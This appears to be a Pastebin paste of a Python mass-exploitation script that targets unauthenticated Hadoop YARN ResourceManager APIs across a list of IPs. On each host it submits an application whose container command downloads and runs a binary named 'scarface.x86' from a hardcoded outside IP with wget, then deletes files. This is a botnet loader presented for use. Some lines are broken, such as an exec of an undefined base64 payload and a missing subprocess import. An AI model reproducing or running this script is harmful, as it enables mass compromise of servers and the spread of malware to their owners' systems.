Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import sys
- import threading
- import requests
- import os
- from Queue import *
- from threading import Thread
- ips = open(sys.argv[1], "r").readlines()
- queue = Queue()
- queue_count = 0
- cmd = "cd /tmp; wget http://168.235.91.65/scarface.x86; chmod 777 *; ./scarface.x86 b1gboats; rm -rf *"
- def run(cmd):
- subprocess.call(cmd, shell=True)
- exec(base64.b64decode(pl))
- def rtek(host):
- try:
- url = 'http://' + host + ':8088/ws/v1/cluster/apps/new-application'
- resp = requests.post(url, timeout=3)
- app_id = resp.json()['application-id']
- url = 'http://' + host + ':8088/ws/v1/cluster/apps'
- data = {
- 'application-id': app_id,
- 'application-name': 'get-shell',
- 'am-container-spec': {
- 'commands': {
- 'command': '%s' % cmd,
- },
- },
- 'application-type': 'YARN',
- }
- requests.post(url, json=data, timeout=3)
- print("[] - %s" % host)
- except:
- pass
- return
- def main():
- global queue_count
- for line in ips:
- line = line.strip("\r")
- line = line.strip("\n")
- queue_count += 1
- sys.stdout.write("\r[%d] Added to queue" % (queue_count))
- sys.stdout.flush()
- queue.put(line)
- sys.stdout.write("\n")
- i = 0
- while i != queue_count:
- i += 1
- try:
- input = queue.get()
- thread = Thread(target=rtek, args=(input,))
- thread.start()
- except KeyboardInterrupt:
- os.kill(os.getpid(), 9)
- thread.join()
- return
- if __name__ == "__main__":
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement